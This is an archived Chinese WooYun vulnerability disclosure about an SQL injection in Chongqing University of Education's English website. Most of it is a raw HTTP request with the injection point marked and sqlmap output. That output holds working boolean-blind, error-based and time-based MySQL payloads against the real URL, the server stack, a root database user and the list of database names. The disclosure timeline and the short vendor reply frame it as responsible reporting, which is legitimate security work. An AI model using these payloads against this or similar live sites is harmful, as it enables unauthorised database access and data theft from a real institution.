乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-11-17: 细节已通知厂商并且等待厂商处理中 2014-11-17: 厂商已经确认,细节仅向厂商公开 2014-11-27: 细节向核心白帽子及相关领域专家公开 2014-12-07: 细节向普通白帽子公开 2014-12-17: 细节向实习白帽子公开 2015-01-01: 细节向公众公开
重庆第二师范学院是一所以“立足重庆基础教育、服务教师专业发展”为办学宗旨,由重庆市教委主管的公办普通本科大学。学校始建于1954年,具有悠久的办学历史和鲜明的办学特色,是重庆市中小学教师和教育管理干部培养培训的主要基地之一,也是首批“重庆市服务外包人才培训基地”之一。
GET /english/index.php/aboutcque/1* HTTP/1.1Referer: http://www.cque.edu.cn:80/Cookie: ASPSESSIONIDCSQCDAQR=NDIPPPJCGONKBPKLKDKGNIPL; PHPSESSID=9jrgrrqaur6ues3pn4jh1ta1f2Host: www.cque.edu.cnConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36Accept: */*
星号部分是注入点
sqlmap identified the following injection points with a total of 518 HTTP(s) requests:---Place: URIParameter: #1* Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: http://www.cque.edu.cn:80/english/index.php/aboutcque/-2080' OR (2173=2173)# Type: error-based Title: MySQL OR error-based - WHERE or HAVING clause Payload: http://www.cque.edu.cn:80/english/index.php/aboutcque/-1600' OR 1 GROUP BY CONCAT(0x716d6a6471,(SELECT (CASE WHEN (1174=1174) THEN 1 ELSE 0 END)),0x71796c6e71,FLOOR(RAND(0)*2)) HAVING MIN(0)# Type: AND/OR time-based blind Title: MySQL < 5.0.12 AND time-based blind (heavy query - comment) Payload: http://www.cque.edu.cn:80/english/index.php/aboutcque/1' AND 3424=BENCHMARK(5000000,MD5(0x58474a41))#---web server operating system: Windows 2008 R2 or 7web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.2.5back-end DBMS: MySQL >= 5.0.0current user: 'root@localhost'current database: 'cqecen'sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: URIParameter: #1* Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: http://www.cque.edu.cn:80/english/index.php/aboutcque/-2080' OR (2173=2173)# Type: error-based Title: MySQL OR error-based - WHERE or HAVING clause Payload: http://www.cque.edu.cn:80/english/index.php/aboutcque/-1600' OR 1 GROUP BY CONCAT(0x716d6a6471,(SELECT (CASE WHEN (1174=1174) THEN 1 ELSE 0 END)),0x71796c6e71,FLOOR(RAND(0)*2)) HAVING MIN(0)# Type: AND/OR time-based blind Title: MySQL < 5.0.12 AND time-based blind (heavy query - comment) Payload: http://www.cque.edu.cn:80/english/index.php/aboutcque/1' AND 3424=BENCHMARK(5000000,MD5(0x58474a41))#---web server operating system: Windows 2008 R2 or 7web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.2.5back-end DBMS: MySQL 5available databases [12]:[*] cqecen[*] cqecnews[*] cqecnews - [*] information_schema[*] mysql[*] sq_zsxxw[*] sq_zsxxw - [*] sq_zsxxw22[*] test[*] tzb[*] xcb[*] zsxxw
加强过滤
危害等级:中
漏洞Rank:7
确认时间:2014-11-17 16:06
正在通知相关学校处理
暂无